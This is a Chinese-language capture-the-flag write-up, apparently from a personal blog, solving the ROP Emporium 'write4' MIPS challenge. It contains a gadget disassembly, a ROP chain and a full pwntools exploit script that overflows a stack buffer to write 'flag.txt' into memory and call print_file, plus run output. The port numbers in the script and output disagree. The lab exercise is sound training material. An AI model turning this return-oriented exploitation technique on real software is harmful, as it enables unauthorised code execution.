OneShell

I fight for a brighter tomorrow

0%

write4_mipsel

目的:调用print_file函数,将flag路径作为参数传递,然后打印出来。难点在于如何将flag路径布置到栈上,并且将路径字符串指针作为参数传递。
程序内部提供了一个usefulGadgets,应该可以分为两个gadget,第二个gadget_print是用来传递路径并执行print_file函数的。
第一个gadget_write的作用大概是,从栈上SP+8取出4个字节,并写入到栈上SP+4存储的地址中,最后跳转到SP+0xC继续执行,并调整栈。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
.text:00400930                               usefulGadgets:
.text:00400930 0C 00 B9 8F lw $t9, 0xC($sp)
.text:00400934 08 00 A8 8F lw $t0, 8($sp)
.text:00400938 04 00 A9 8F lw $t1, 4($sp)
.text:0040093C 00 00 09 AD sw $t1, 0($t0)
.text:00400940 09 F8 20 03 jalr $t9
.text:00400944 10 00 BD 23 addi $sp, 0x10
.text:00400944
.text:00400948 08 00 A4 8F lw $a0, 8($sp)
.text:0040094C 04 00 B9 8F lw $t9, 4($sp)
.text:00400950 09 F8 20 03 jalr $t9
.text:00400954 00 00 00 00 nop
.text:00400954
.text:00400958 00 00 00 00 nop
.text:0040095C 00 00 00 00 nop

ROP构造

那么ROP的思路就是:使用第一个gadget将数据写入到某个地址,最后使用第二个gadget继续执行。

  1. 缓冲区填充
    分析pwnme函数,ra保存在SP+0x3C,缓冲区为SP+0x18,需要填充0x24个数据才能开始覆盖
    1
    rop = b"A" * 0x24
  2. 写入数据到某个地址
    不能选择写入到栈上(或许可以其他的ROP链实现),因为写入到栈上需要额外的ROP将栈上的字符串起始地址暴露出来。此处选择程序的某个可写的Section来写入数据,这样地址完全可控。写入数据就是”flag.txt”一共8个字节,需要调用两次gadget_wirte。
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    rop += p32(gadget_write)
    rop += b"B" * 0x4
    rop += b"flag"
    rop += p32(0x00411000)

    rop += p32(gadget_write)
    rop += b"B" * 0x4
    rop += b".txt"
    rop += p32(0x00411004)

    rop += (gadget_print)
    rop += b"B" * 0x4
    rop += p32(print_file)
    rop += p32(0x00411000)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
BINARY = "./write4_mipsel"
ELF = ELF(BINARY)

context.os = "linux"
context.arch = "mips"
context.binary = BINARY

gadget_write = 0x00400930
gadget_print = 0x00400948
print_file = ELF.symbols['print_file']

rop = b"A" * 0x24
rop += p32(gadget_write)
rop += b"B" * 0x4
rop += b"flag"
rop += p32(0x00411000)

rop += p32(gadget_write)
rop += b"B" * 0x4
rop += b".txt"
rop += p32(0x00411004)

rop += p32(gadget_print)
rop += b"B" * 0x4
rop += p32(print_file)
rop += p32(0x00411000)

p = remote("10.0.0.2", 8888)
p.sendline(rop)
print(p.recvline_contains(b"ROPE"))

结果如下:

1
2
3
4
5
6
7
8
9
10
[*] '/home/utest/Code/mipsrop/write4_mipsel/write4_mipsel'
Arch: mips-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'.'
[+] Opening connection to 10.0.0.2 on port 9999: Done
b'ROPE{a_placeholder_32byte_flag!}'
[*] Closed connection to 10.0.0.2 port 9999